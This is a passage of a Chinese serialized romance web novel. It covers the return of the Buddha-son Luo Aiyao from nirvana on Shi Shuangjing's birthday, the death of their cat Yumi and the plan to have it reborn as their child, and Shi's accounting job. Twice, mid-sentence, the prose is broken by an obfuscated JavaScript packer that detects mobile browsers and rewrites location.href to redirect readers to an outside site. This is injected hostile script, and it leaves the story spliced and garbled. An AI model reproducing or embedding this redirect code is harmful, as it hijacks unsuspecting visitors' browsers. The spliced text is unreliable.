弦、试奏。施霜景才吉他入门没多久,吉他老师教他和弦,施霜景就只能按和弦,连吉他谱都看得很吃力。他几乎是纯靠脑子记谱,现阶段只能专门学自己喜欢的曲子。 他们二人常常会陷入和缓温情的沉默之中,又因罗爱曜会读心或心声交流,更是不必发出声音。自从施霜景开始学吉他,零星的弦音昭示着“我在”,有时带有某种苦功的无可奈何,罗爱曜一闭眼就能想起施霜景低头找弦的半侧脸。 罗爱曜带一身水汽出来,见施霜景屈起一腿,托抱着吉他坐在床边,像是准备好了的样子。罗爱曜刚才就想说,施霜景背着吉他邀他开F的形象太像别人刻板印象中的落魄歌手。罗爱曜返身回浴室,重新水洗了一遍脸,洗净脑中这种不尊重的比喻。都到今天了,罗爱曜收起天性的高傲,再也不愿意去想别人怎么看施霜景,说来说去别人,其实都是自己在调侃施霜景。 重新回返,施霜景望向罗爱曜,随意地下巴一示意,让罗爱曜找个地方坐好,服务员还给他们送来了冰镇的酒,如果罗爱曜想喝可以喝一点。罗爱曜坐定,就听施霜景说:“我才想起,我还没有正式地朝你唱过什么歌。以前说好一首歌两块钱,发了几首就放弃了。让你用佛像旁听像做贼一样,我过意不去。你什么歌都不喜欢听,看不上现代的曲子,也不喜欢听我唱伤心情歌,觉得矫情。我就唱一首,否则我今天吉他白带了。” 罗爱曜温和地答应施霜景,示意他可以开始了。 施霜景微微调整坐姿,不是为了让自己坐得像模像样,而是更方便他拿吉他、找感觉。这一姿势让施霜景的浴袍解得更开,木吉他垫着鲜活的躯体,反正只是一首短歌,乐声会洗涤那些不雅不敬不妥当。 施霜景有着很爽朗的青年音,这使得他适合唱几乎所有类型的歌曲。简单的吉他指法,施霜景的手上有着新鲜的茧子,可想在罗爱曜走之前茧子仍未消痛。施霜景一开始就扫错了弦,不要紧,很快调整回来。这首歌并不现代,并不流行,也并不符合施霜景和罗爱曜的文化语境。 这首歌只是很安静地在讲一个人往前走,另一个人也并不回头。风与云与夜,那么静那么静那么静。施霜景没有刻意去学那些很渺远的唱腔,他有他的处理。苦练两年多的歌喉配上苦练两三周的吉他,唱一段不到一年的你追我赶。连云都不知道,连风都听不到。风与云的乡愁,是那些永恒的存在的乡愁,留下的人成为乡。 一首歌很快结束。唱完,施霜景长叹一声,本以为唱歌能传达所有的感情与想法,但临了了又起新的念头,他放下吉他,罗爱曜已走过来,施霜景伸手一揽,罗爱曜低头,施霜景仰头。附耳过来。 施霜景音量很低很低地说了一句胡话。罗爱曜微怔。施霜景怎么会这么说? 施霜景欣赏罗爱曜的表情,心中忽然无限满意。他让罗爱曜再次附耳过来。 施霜景重复了一遍,又多加一句话。 “你要是能顺利涅槃回来,我们就组建家庭。等时间合适了,我们就要孩子。” 施霜景讲最后半句时有些含混,气息温热。他鬼使神差,不管了,他什么钩饵都往下放,要么钓起罗爱曜,要么他只能上吊了——开玩笑的。 167.大智若愚篇(三十) 正如他到来的那天如此没有预兆,他要走那日,最普通的朝阳,最普通的苏醒,施霜景微微偏头,今天早晨罗爱曜还在,明天早晨就会只剩他自己。 施霜景轻手轻脚下床,来到客厅,客厅的佛龛前竟然只剩冷却的残香,说明罗爱曜正在入眠,是真正的下线般的睡眠。施霜景心绪不定,就连看这最熟悉的家中景色都感到迷茫。玉米在窗边看鸟,嘴里发出模仿的声音,半点指望不上它。施霜景打开冰箱,前一夜他准备好了馄饨馅和馄饨皮,五分钟包好就能下锅,等罗爱曜起床再做吧。施霜景取出牛奶,站在厨房仰头喝了。 他们昨天与小龙一家碰面。蒋念琅穿一身最漂亮的裙子,等风来吹动裙面的纱料,可惜D市的盛夏令人发狂,入了夜还热得众人汗流浃背,蒸笼里难有风。蒋良霖最终还是与罗爱曜达成协议,他不能空留女儿跟罗爱曜进仪式,既然蒋良霖也是龙,他愿意做最护卫性质的旁观者。郎放与施霜景处境相似,他便安慰施霜景道:“不只是你,我们都要在外边等。你不是一个人。” 可施霜景到底和郎放不同。据郎放说,他们是要撤离D市的,要开车直接驶往佛子在S省的石窟,少不了翻山越岭,郎放打算跟,大不了借宿附近的村民家。施霜景缺乏野外经验,加之罗爱曜希望施霜景就留在家里,现在罗爱曜的因果积累已成,反倒不需要留在励光厂了,罗爱曜只需要借励光厂的气运,将家里布置成最合规的守护地,让施霜景安心等他。 马凯歌也已抵达了D市,就下榻在F酒店。文殊则是会直接在崖窟等他们,如此神秘。 施霜景早起有宿醉的感受,明明回忆了很多事,但这些事都只是一片一片的、捏不成型的……他们约好早上十点在励光厂碰面。墙上的钟显示七点零三分。 如此这般,施霜景空落落地长叹一声。他已用尽所有办法,整个后半生与家庭生活也押在罗爱曜身上,再没有多的可押了。接下来只有听天由命了。暑假很短的,一眨眼就会入秋,而施霜景会走入他的新生活。事到如今,只能相信罗爱曜。施霜景必须相信罗爱曜。 他会的。 为了不再焦虑,施霜景重设了闹钟,回床陪罗爱曜再多睡一会儿,睡到八点三刻。施霜景再次醒来,是罗爱曜伸长手指清点着施霜景颈上的蓝珠。 “你不带走这些法器么?”施霜景的气息洒在罗爱曜的手指上。 “不带。”罗爱曜眨眨单边眼睛,轻松道,“我只带明王相与菩萨相去。” 明王相是上次罗爱曜使着人身和法身将施霜景夹在中间那回,靠施霜景的无限容忍才捏成的。菩萨相则是从文殊院那灌满血的莲胞中开出来,施霜景只见了一回,只有一个形容——美相菩萨,雌雄莫辨。比罗爱曜的法身更显庄重,但也更显幼态,仿佛是不足二十的青年。菩萨太像人了,反倒没什么明媚的记忆点,结果罗爱曜让施霜景点一点菩萨坐着的莲台,施霜景手指一点,整个菩萨相倒翻过来,竟然是淋了一层新血。还是那副菩萨相,完全没有变化,只是淌血,静置大约三分钟后血液全收回了莲座,又一副无公无害的和平样子。施霜景不信邪,再轻点一下,下层的菩萨相果然带着血一起翻上来,罗爱曜说,别的菩萨坐水月,罗爱曜坐血月,月是假的,血是真的。施霜景突地打了个寒颤,罗爱曜的菩萨相果然也跟他一样,就算是菩萨,也是邪的。 回忆结束。 罗爱曜将自己的脸按在施霜景的胸前埋了一阵,这才跟着施霜景一同下床。施霜景包馄饨,罗爱曜洗漱,玉米结束了一天最重要的观鸟活动,喵喵喵地找佛子爸。罗爱曜抚摸玉米那柔顺的皮毛,他竟然是连这只猫都舍不得。 施霜景在馄饨里包了虾仁,还用另一炉灶给罗爱曜蒸了柔滑的蛋羹。两人坐下来吃早餐,罗爱曜瞧着这一桌,又想起施霜景那句话:你要是能顺利涅槃回来,我们就组建家庭。等时间合适了,我们就要孩子。 他和施霜景会将彼此照顾得很好。也许是会照顾得太好了。罗爱曜任由自己那唐朝人的封建念头肆意滋长,他要做家里的顶梁柱,收入的来源,而施霜景就这样用家常饭数出春夏秋冬。以后他们会有孩子,他们会一起养育孩子,罗爱曜真的不知道那是什么感觉,是养会说话的玉米的感觉么?玉米又跳上桌了,这回是罗爱曜扒出馄饨里的虾仁,放凉了喂玉米。玉米忽然用脑门顶了顶罗爱曜的下巴,小猫会读空气。 施霜景与罗爱曜将近期该聊的东西,全在昨晚聊完了,比如施霜景九月份开学应该怎么住、住哪里……施霜景最近会抽空去大学周边找房,他快要考科目二,日常活动以练车为主,练吉他为辅。如果他找见了合适的房子,直接租下来即可,什么也都不用从现在的住所搬过去,罗爱曜会置办新的。施霜景考完科目二就马上排期科目三,争取开学前拿驾照本。喜欢的车也可以先挑起来,罗爱曜会买单、买单、统统买单。 这所有的商量都以“罗爱曜会回来”为前提,施霜景是那类很笃信别人说的话的人,对罗爱曜更是深信不疑。馄饨吃过了,蛋羹吃完了,施霜景回房间换衣服,罗爱曜问他:“怎么,你还是要跟我们去?” “不,我就下楼送送你。” 罗爱曜与施霜景在家中杀时间。罗爱曜与其他人十点碰面,现在时钟显示九点二十、九点三十二、九点四十五……眼看着时间差不多了,施霜景抱上玉米,跟着罗爱曜一起下楼。罗爱曜真有种男人离家的辛酸,不忍回头看。施霜景抱着猫,在楼前目送罗爱曜上车,罗爱曜心中那个五味杂陈啊,人生第一次被这样沉重浓厚的爱压得心戚戚。罗爱曜打开车窗,朝施霜景大声说道。 “我真的会回来,我们之间有约,我回来会兑现,你做好准备吧。” 施霜景看罗爱曜那绕着圈子说的模样,就知道罗爱曜对那一选项是又羞耻又想要。对他有用就好。施霜景挥挥手,玉米挥挥尾巴。 车辆缓缓驶向远方,施霜景抱着胆小的肥猫,一人一猫,这个家的原始形态,他旋身,登登登地上楼,太阳照常升起,施霜景还忙着呢。 罗爱曜不能与施霜景传信,可施霜景这几日偶尔会幻视到一些场景。有时是曼荼罗式的缤纷漫天幻相,有时是轮转的空门,有时则是幽灯。这种种闪念都如电光火石,施霜景会抚抚自己的胸口,令自己平静下来。 家中佛龛不再燃香,罗爱曜将香炉收走,龛上只留最见惯了的那一尊佛子像。 施霜景太会给自己找事干了,白日练车,傍晚吃了饭才回家,晚上去吉他老师家学吉他。考科目二那天,D市下大雨,施霜景惨遇一辆感应出问题的考试车,惜挂科目二,只能约时间再考。他一离开考场,雨又停止,施霜景无语到家,打车直奔大学附近,约中介看房子。 施霜景被一所民办二本录取,大学附近有许多二十年左右的小区,不新不旧,住起来正好。中介带施霜景暴看五个小区、八套房子,最终施霜景选中一套三室一厅的带电梯小高层房,有一百五十多平,足够施霜景布置出两间卧室和一间书房,或者一间卧室、两间书房。 中介不知道施霜景是即将入读附近大学的学生,施霜景跟罗爱曜谈了一年恋爱,从他那儿还学到一点乱编的技巧,施霜景板着脸,仗着自己身高出挑样貌好,干脆说自己是干直播的,反正房子采光一定要通透,卧室不能夕晒,外卖要能进小区,邻居不要好事……施霜景选中房子,签合同,拍板,手机备忘录里列出长长一串购买清单,都是施霜景在看房子时随意记下的。中介推销出去了房子,施霜景挑中了未来四年的小窝,他连佛龛装在家里哪个地方都考虑得清清楚楚,只等开学了。 再过几日,施霜景在吉他老师家学指法,弹着弹着,手指忽然不知道有什么自己的打算,哗啦啦弹出几个音。老师一头雾水,施霜景有点懵,但不多,反而是又弹了几回,心里仿佛也跟这旋律与断音在念什么似的。是经吗?是咒吗?好短,可能就六字,还是八字?施霜景等了好一会儿,才将忘掉脑海里这没来由的旋律。他知道,这也是他与罗爱曜之间的感应。 八月十八日,施霜景按掉早起的闹钟,他解锁手机,有几位朋友在昨晚卡着零点给自己送上生日祝福。施霜景今天二十一岁了。时间过得真快。施霜景叭叭叭地按键盘,回掉所有祝福消息,这才一骨碌坐起身,他今天补考科目二。 施霜景戴墨镜出门,最近早晨的阳光真是不得了。半个钟头之后,家里忽然传来当啷动静。玉米不知从哪儿扒拉到了那金属物事,爪子左挥右舞,好像那金属物件一点也不重似的,玉米连推带玩,将那金属物件拱到了客厅。玉米脑门一顶,侧躺的香炉忽然翻正。 香灰盈满,三炷香仿佛从虚空中递来,稳稳插进香炉。 香烛火光,一瞬即逝。烟芯灰白,且热且烫。一阵轻妙蓝烟,这是佛子在世上半清半淡的存在方式。那阵橘黄烛火,才是佛子最愿意留住的唤醒的时时刻刻。 施霜景将车驶回出发点,科目二考试满分通过。老天看施霜景今天过生日,给他好运气,一把满分,不用排到下午,顶着烈日考试。不过施霜景急着过科目三,离开学不剩几天了,他在通过科目二之前根本没有心情练科目三,怕记混动作。施霜景临时向教练约了时间,从考场回驾校继续练车。 比起科目二,科目三才更有开车的实感。施霜景好像有些心不在焉,心跳比平日快一些,可能是因为他在考虑自己要买什么车吧。嗯……施霜景还是觉得没有专门为自己买车的必要,电动车比轿车方便。施霜景抹了抹鼻梁上的汗,他快被艳阳烤干了,就连教练都恹恹的,眼看时间差不多了,教练赶施霜景回家,说他贪多嚼不烂。 嗯哼,今天是施霜景的生日,施霜景还是要为自己挑一件礼物。 去年今日他连商场都不敢进,今年今日施霜景都敢直奔专业耳机店了。施霜景想选一副监听耳机,可惜他家太远了,否则应该带吉他一起来的。施霜景之前在网上简单做了做攻略,可还是不如专业人士,耳机店老板很负责,手把手教施霜景怎么挑耳机,就这样带他试音试到黄昏关店。施霜景在两副耳机里纠结,其实他可以都买下来,但施霜景还是功能至上主义者,一副够用为什么要买两副?他提着新耳机,心满意足回家。 滴滴临到励光厂员工宿舍楼的楼下了,施霜景才恍惚意识到,他连蛋糕都没给自己准备。别说蛋糕了,他也没好好吃饭啊。 施霜景希冀地抬头看向自家窗户,家中暗灯,施霜景失落半秒,反倒松快了。他这不叫糊弄,他这是抓大放小。 一步一步上楼,施霜景感觉皮肤发烫,大抵是今天被晒的。要是能抱着那冰玉一样的人一起睡觉,那该多好啊。施霜景掏钥匙,他又想罗爱曜了。 钥匙只转一圈,家门便开了。施霜景蹙眉,他出门前没反锁么?施霜景拉开门,室内漆黑,施霜景下意识按灯,灯却未亮。 施霜景本来步子都要迈进去了,可这感觉怎么有点熟悉。施霜景反倒退后半步,离家门有些距离,施霜景掏出手机,本来只想打开手电筒,却发现手机信号死掉了。 按开手电筒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778574|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照进去。 客厅没人,餐厅应该也没人。 施霜景往屋内喊了一声:“玉米!” 奇怪,玉米没有出声,也没有看见玉米。施霜景的心忽然给揪了起来,什么情况?罗爱曜走之前不是给家里加持了守护么?施霜景又喊了几声玉米,毫无回应,他的心更往下沉。 施霜景不想回家了。真是……他和罗爱曜谈了快一年的恋爱,还是受不了这种恐怖氛围。可是家里有小猫,施霜景无论如何都放不下。他只能硬着头皮进去,保持大门敞开,客厅窗户没关,晚风呜呜地对流,窗帘微动,施霜景既害怕,又想确认是不是玉米躲在窗帘后。 佛龛。对。看看佛龛。施霜景将手电筒的光转向墙上佛龛,却发现佛龛空荡荡。 施霜景心下着急,喊道:“罗爱曜!你到底行不行啊!”掉链子掉成这样,感觉你涅槃也悬啊!施霜景紧张至极,心脏狂跳到胸口发疼的地步。 施霜景忽然感到颈侧一阵毛茸触感,施霜景不受控地尖叫出来,一跳三步远。 家里的灯忽然全亮了。 施霜景就这样看着罗爱曜抱着玉米,罗爱曜面露尴尬,玉米吓得挣扎,施霜景惊魂未定。 起初是气喘,然后是恼怒,再来是疲惫,施霜景扶墙,都给他吓得没话说了。罗爱曜尴尬得无以复加,玩砸了,只好老老实实去关家门,这才把玉米放回地上,让它去找施霜景。 玉米蹭施霜景的裤腿,施霜景顺着墙滑坐在地。罗爱曜从房间里捧出插了蜡烛的蛋糕,怎么一转头施霜景又不见了?哦,原来是坐地上了。罗爱曜只好捧着蛋糕蹲下来,露出专业的微笑:“祝你生日快乐,施霜景。” 施霜景绕过蛋糕,狠狠地扯了扯罗爱曜的脸。是他没错。 “我真是服了,一回来就吓我。”施霜景也尴尬,可罗爱曜笑得那么灿烂,施霜景想挂严肃表情教训他,却还是作罢,施霜景心中的喜悦已压制不住了。 “先吹蜡烛。” 以呼吸为计,默契地倒数,三,二,一。二人一起吹熄蜡烛。玉米忽的伸爪,挖走一块奶油,跑走去角落舔奶油。施霜景和罗爱曜齐齐看向玉米,玉米给他们台阶下,施霜景放心地笑了起来。 “啊,忘记让你许愿了。”罗爱曜献宝忘记流程,肯定是被施霜景的反应给吓的。不过话又说回来,谁让罗爱曜要吓施霜景呢。 施霜景帮着罗爱曜托起蛋糕,站起来,两人将蛋糕一齐放回桌上。施霜景说:“我可不敢在你面前许愿。” “现在可以许了。” “什么意思?”施霜景没搞懂。 罗爱曜眨眨蓝眼,面上笑意不减,“结束了。” “成功了么?” “你说呢?” 施霜景这才想起放下手中东西,他哪知道罗爱曜这是成功了还是失败了,罗爱曜看起来好像没有任何变化。施霜景只好说:“我希望你成功了。” “对我就不要再用什么佛子许愿流程了,你可以许一个真正的愿。”罗爱曜搂紧施霜景的腰,他们正在重新找回节奏。 施霜景脑内空空,他还是很好奇刚才罗爱曜到底在想什么:“你几点回来的?为什么不开灯?这是你准备的‘惊喜’?” 罗爱曜略有局促,刚才那一幕确实是不妥当。思来想去,应该道歉。罗爱曜道:“抱歉,我搞砸了,把惊喜变成了惊吓。我是下午三点回来的。我涅槃成功了,不过我为了以原身倒驾慈航,自愿封锁了一些能力,否则我就只能以菩萨相回来。这些都不重要。重要的是,你今天生日。生日快乐,小景。” 久违地听见罗爱曜唤自己“小景”,施霜景才生理性地松懈下来,低低地回了一句“谢谢”。 罗爱曜见施霜景有些不自在,欲松手,施霜景却精准地捉住罗爱曜的手,让他别松开。 施霜景说:“我要许愿。这么难得的机会,我要许愿。” 罗爱曜不言,只等接到他成佛之后接收到的第一个愿望。 施霜景在心里许愿,于是心里的声音流淌出来。 我希望我们永远在一起。 重要的愿望要说三次。 我希望我们永远在一起。我希望我们永远在一起。我希望我们永远在一起。 施霜景开口:“我许好了。” “我听见了。” “佛子,你要替我实现吗?” “这会是我实现的第一个愿望,也会是我这漫长一生用以收尾的愿望。”罗爱曜顿了顿,“我会实现的,只要你不改。” “许出的愿怎么可能改。” “这可不好说。” “罗爱曜,我刚才算了一下,你才走了八天……” “嗯。” “辛苦了。”施霜景忽的有些眼热。他没想过罗爱曜真的会赶在他生日这天回来。 “不辛苦。” 罗爱曜将施霜景拥入怀中,轻拍他的后背。眼泪如此珍贵。是因为相信,所以才坚持。是因为坚持,所以才辛苦。更辛苦的人说不定是施霜景。 罗爱曜听见施霜景在心中絮絮地念,回来就好,回来就好。罗爱曜只好拨开施霜景的额发,吻他眉心,也反复地告诉他,他回来了。今晚,明晚,以后每一个日子,罗爱曜都会与施霜景在一起,确认他的安全感,成为他的安全感。 “我也会兑现我的承诺。”施霜景颤抖着声线,“谢谢你回来。” “谢谢你等我回来。我期待你的承诺。” 第四卷破之我执完 168.你会是一个好爸爸 *我再次提醒,本卷就是生子和家庭生活,大家摸着自己的雷点酌情观看! *这一章有trigger warning:宠物去世情节描写,也请酌情观看。 —————————————————————————— 潮湿微雨的日子,万般伤心的今天,一家三口拆散了,玉米于凌晨去世。 这次玉米的病没有征兆,从起病到过世,只有短短的一周,死因是癌症,查出来时已无药可救。玉米刚满十岁,还不算老到寿终正寝,只是得了这般恶性的病症,再留医院也没多大意义。玉米被带回家,很快便不能走路,而后是大小便失禁。十岁的玉米和一岁的玉米其实根本没有分别,临到要走了,眼睛还星亮的。即便猫咪临死前浑身已不好闻了,它还是躺在家里的大床上,由施霜景和罗爱曜轮番陪着。这个凌晨,施霜景轻轻抚摸着玉米的身体,感受它呼吸渐渐淡去,直至身体再无起伏。 施霜景才满二十八岁。他于三年前顺利拿到大学学位,毕业后就职于一家私企,积累工作经验。罗爱曜在家的时间更多,一年里大概有一到两个月会离家出差,其余时候都留守家中,这七年内,他已边写边译出密宗新经二十二本,简直是高产得吓人。 什么好像都变了,什么也好像都没变。 罗爱曜抖出一块四方的蓝色陀罗尼被,施霜景眼睛发肿,亲玉米额头时又忍不住眼红。不行,不能误了时间。施霜景振作精神,捧起仍温热的玉米,放在蓝色陀罗尼被正中,而后是罗爱曜接手,他将蓝绸的四个角收拢,牢牢裹住玉米。 “这样真的能行么?”施霜景问。 罗爱曜肯定道:“能行。我已经与地府沟通过了。你准备好了么?” 由蓝绸拥裹的尸体看起来那么小,婴孩似的。施霜景虽然很没有心情,可一想到他们还能将玉米重新带回来,施霜景无论如何也会做好准备的。他朝罗爱曜点头示意,罗爱曜手一空,将玉米的尸体藏了起来,蓝色陀罗尼被将玉米保持在中阴的状态。 窗外雨大了,扑嗒嗒地击打窗框、叶片、地砖、车壳,天上瓢泼下着热汤,细雷偶尔在远方的云隙穿针而过。一下一下,热汤飞溅,落花流水,雨水狂暴地渗入、渗入,要触及最深处的种与识。黏腻的汁液,腥臊的月色,这一切都是施霜景与罗爱曜再熟悉不过的,可这一切又象征了他们的生活即将迎来翻天覆地的变化。 大约是七年前,类似的旖旎的场合,施霜景轻轻一说,罗爱曜等了七年——“等时间合适了,我们就要孩子。”可什么时候才真正算是“时间合适”?读大学时肯定不行。大学毕了业,那肯定要用这双证去闯一闯,找个工作干干,一干就干到现在。施霜景有权利做一份正当的工作,维持正常的社交生活,虽然当会计是真的给施霜景当得有点恶心了。 他们气喘吁吁,施霜景偏过头去,微微走神,实在是没有那个心情;罗爱曜亦有点没滋没味,不是因为施霜景兴意不高,而是就连罗爱曜也为家里这只小猫的离去而动容。今夜他们有些赶鸭子上架,硬着头皮做完,必须要做。施霜景拍拍罗爱曜的手臂,“再来吧,多来几回……” 什么也顾不得了,时间不等人。罗爱曜要施霜景直视自己的眼睛,不要走神。 直到雨停,屋内闷热,天际已亮了,施霜景要罗爱曜开窗透气,空调也还呜呜地运转着,这空气里尽是伤心的味道,被子枕头洒了一地,施霜景侧躺,以手臂掩着眼睛,这一夜好累。罗爱曜去客厅冰箱取冰镇过的矿泉水,家里空落落的,那结实的小影子要暂时离开他们一段日子,罗爱曜恍惚听见施霜景又不出声地流眼泪了,施霜景一想玉米的事就多情难自已。 “擦擦脸,喝点水。”罗爱曜亲了亲施霜景的后背与肩头,递给他毛巾与冰水。 施霜景迷蒙地问他:“还要来吗?你能感觉到么?” 罗爱曜将湿毛巾搭在施霜景手上,空出的左手轻轻抚摸施霜景的小腹,“不用了。我感觉到了。这次我不再帮你阻隔,应该不会有问题。” “我不想听‘应该’……我今天请假了,我们可以做的。”施霜景草草用毛巾擦了脸,他摸黑找手机,再次确认自己已经请假,身体一动,就流出来,比平日多出许多,可施霜景什么也顾不了。 “如果你真想确保万无一失,现在就应该喝水,少动多睡。” 听了这话,施霜景连忙喝水。罗爱曜下了清洁咒,把床具弄干爽,又将地上的枕头被子全拾起来,为施霜景布置好。 “你好好休息,我要回中阴界,处理玉米的身体,然后我会去找地府判官一趟。我们还有时间,如果不像我想的那样顺利,我们还有时间再做补救。”罗爱曜理解施霜景想要“落袋为安”,可即便罗爱曜已成佛,有关他后代的事可不是小事,这种不确定性是必须要忍受的,罗爱曜只能尽量安抚施霜景,并做出无尽的备用计划。希望能够顺利吧,罗爱曜面上不能显出他的焦虑,否则只会让施霜景更为焦虑。 “好的……好的。”施霜景在腰下垫枕头,不知道从哪儿看来的偏门,“随时联系。” 室内空气已充分对流,罗爱曜关窗,给空调换档,拉上全遮光窗帘,出门前施霜景捏了捏罗爱曜的手,就好像以行动对罗爱曜说“交给你了”。 “时间合适”——施霜景在听见玉米的诊断时,脑中时钟铛铛敲响,震得施霜景大脑都要碎了。他的心中升起一个大逆不道的想法。 如果玉米能转世,能不能让玉米转世成他们的孩子? 施霜景这人年轻时就固执得没边了,现在年岁渐长,还是学不会圆滑,反而更是放任脑中奇思妙想。他知道罗爱曜肯定能读到他的心,他望向罗爱曜,罗爱曜表情不动,认真听医生的交代,对施霜景的奇思妙想不肯定也不否定。 二人开车回家,施霜景开口了:“罗爱曜,你能不能帮玉米治好?” “恐怕不行。它毕竟只是一只猫,比不了人类。我救你几回,你的身体都承受不住。玉米最多只能受我一次救命的恩,八年前就已经用过了。” 施霜景对这个回答毫不意外,他递进了:“那……你还有什么别的方法么?” 罗爱曜泰然直视前方:“你不是已经有办法了?” “你还记得我高考那年……” “记得。你是因为玉米才打算兑现承诺?” 施霜景捕捉到罗爱曜那微妙的一点不满,然而,相爱八年,施霜景再也不怕这小小的情绪摩擦了,施霜景直说道:“总比我拖着不兑现好。” 罗爱曜哑然失笑,他真是对施霜景没招。“实话说,我大抵知晓我们以后一定会有孩子——而玉米原本不在其列。”罗爱曜详细解释道,他能感应到有关后代的因缘,他们的孩子要继承罗爱曜衣钵,必是先有识、再有□□,就跟罗爱曜当年诞生一样。罗爱曜没告诉施霜景的是,他能感应到三个识种,但玉米是完全的凡间生命,与这三枚识种都对应不上。 “不过……我们可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在细胞层面……我想应该是没问题了。出来吃饭,喂饱你自己,也顺便喂喂你肚子里的玉米,虽然它现在甚至还没开始卵裂——你还记得这些生物知识吧?” 施霜景确实不记得了,但他能听懂罗爱曜的意思。施霜景的表情一下多云转晴,他忽的后仰,靠上床头的软枕,“我怎么忽然有点慌。我感觉我还是没做好准备。” “是谁昨晚把眼睛都哭肿了,恨不得晚上做完,白天就让玉米出生?”罗爱曜催促道,“快出来吃饭。你那点劲儿全用在和我吵架拌嘴上了,你还走得动么?” 罗爱曜这句话还真没说错。可能是因为施霜景今天只吃了一顿,他下床走路有点头晕目眩,最后是扶着罗爱曜才回到客厅,享用爱人带回来的晚餐兼夜宵。 客厅地上还铺着玉米的丰容玩具,食碗与水碗也都还没撤走。施霜景久久地盯着这些生活痕迹,怔神之际,他下意识摸了摸小腹。不论他有没有做好心理准备,玉米一定要回家。如果把猫变成人不合规矩,那施霜景与罗爱曜就是共谋。仔细琢磨一下这越矩的滋味,还挺刺激。施霜景坐回餐桌前,拆开打包盒,顺便夸奖罗爱曜。 “根据我受你照顾的经验,我可以推断,你会是一个好爸爸……”施霜景思忖两秒,后一句还有些耻意呢,他酝酿了一下才继续说完,“……所以我才愿意和你要孩子。” 罗爱曜淡淡道:“这考核期够长的。” “的确。” 169.失去意识 在私企当会计,连事假带年假一起休,施霜景也只请到了四天的假。日子一到,施霜景必须准时回公司报道。 施霜景关上车门,心中升起淡淡的死意,不敢想桌上到底堆积了多少活没干。他请假这些天,会议邀请和会议纪要一样没少,同事的留言和工作跟进堆成山,他昨晚睡前看了一眼钉钉,简直是郁闷得想吐,光是今天就给他排了三个会。 停车场的旁人看一位英俊逼人的男人正扶着车门犯抑郁,不知他到底在想什么,反正就是不想上楼。男人的着装干净得体,衣料平整,呈现出很好的打理效果,虽是简约通勤风格,但男人的身高加样貌加衣服品味再加锻炼得宜的身材,这帅哥在这片写字楼算是挺出名,听说他在十九层的智能家居家电公司做财务,可惜赚得不多,也可惜他是出了名的躲搭讪。 施霜景的欢乐大学生活一去不复返了。 电梯上行,有如时光飞逝。他七年前大学录取时还那个傻乐啊,大一期末考试就老实了。上不完的专业课,学不完的数学和打表。作为会计,他们还附赠另一条人生主线,即考不完的证。大一考初会,大三找公司实习,上学期间得过英语四六级,一到大四要么准备考研,要么准备考CPA。 即便如此,施霜景的大学生活也还算快乐。他大二那年和同学组了乐队,只不过成员们随着毕业又各自纷飞,玩乐队真的只是“玩”,几乎没留下什么作品。施霜景是走读生,大家都知道他在学校附近租了房子,和人同居。同学经常看见施霜景下了晚课就上了一台机车的后座,偶尔也看见施霜景和同居的男友在街边小吃摊买夜宵。从高三到大四,施霜景的身高又长了六厘米,和他男友溜达时有特殊气场,隐形的铜墙铁壁,一种不可言喻的外貌主义至上的氛围。 施霜景进公司,他们财务办公室加上他一共只有三个人。工作繁重不堪言,施霜景放下手里的咖啡,翻了翻桌上的文件,当即就坐下来开始分类,哪些是今天必须要做完的,甚至哪些是上午就必须要做完的。施霜景打开电脑,屏幕炫光令他眼疼,破公司自己做智能家电,但这些显示屏都是二手收的便宜货中的便宜货,施霜景真快瞎了。 他今天要核对出口退税申报资料和复核会计助理做的固定资产折旧表,准备税务申报资料,然后在和业务部门开会之前看一看他们的新产品成本测算。一提到会计助理他就心塞,老板塞进来的关系户,才来办公室不到一年,老板就想把施霜景负责的核心工作转移给他——为了把施霜景挪走,老板竟然还开了个类似财务BP的岗,把施霜景安排过去。他们办公室还有一位总管会计,是和施霜景不同类型的忙,现在施霜景被塞了很多脏活,会计助理又扶不上墙,总管会计也很心塞。 这下好了,施霜景又要管财务,又要跑业务和生产部门。施霜景屁股一挨椅子,再抬头就是十点钟,要去开第一场会议,和销售部、市场部开月度销售和回款跟进会。第一场会议开了一个钟头,开完之后,施霜景留在会议室,总管会计和财务总监进来,马上无缝衔接开财务例会。施霜景被财务总监明里暗里用话刺,说施霜景的请假时间很致命,这不是要忙死小汪吗——小汪是会计助理。施霜景不苟言笑,懒得接茬,汇报完上个会议的重要回款进度,马上衔接今天下午需要走的付款审批流程,半个小时解决例会。 工作很辛苦,但施霜景偶尔会觉得,他是不是脑子真的出问题了——这工作也太辛苦了吧!施霜景开完会,回办公室复核材料到十二点半,下楼随便找了个馆子吃午饭,吃完回来继续处理工作,期间小汪过来寒暄,大家都知道施霜景其实是请丧假,多少还是要付以一些同情。施霜景把复核过的固定资产折旧表打回给小汪,让他根据反馈意见重新计提。 “景哥,你这不就是顺手的事么……”小汪躲懒,反正厚脸皮是他的强项。 施霜景又给他发送了几张对账单,“这里怎么会有负数?重复冲销了?”意思是拿着这些狗屎快滚,施霜景今天真的没空给关系户擦屁股。 下午三点,施霜景带上资料,开BP会议。他在会议开始前还在想,是不是需要给罗爱曜发条消息,施霜景今天铁定要加班了,晚上十一点都不一定能走人。业务负责人和生产部门的人很熟,相谈甚欢,施霜景无言地揉眉心。施霜景很不喜欢开BP会议,因为这个公司压根就没有能够容纳财务BP的架构,施霜景每次开会都受夹板气,听来听去都在听一些他没有决定权的事,意义何在? 一个小时的会,硬生生拖到两个小时才结束。施霜景出会议室,忽然一下心跳急顿,如半空悬浮。 施霜景应声倒地,当下便人事不省。公司同事被吓一大跳,炸开锅来——这该怎么办!施霜景是怎么了?要不要打急救电话! 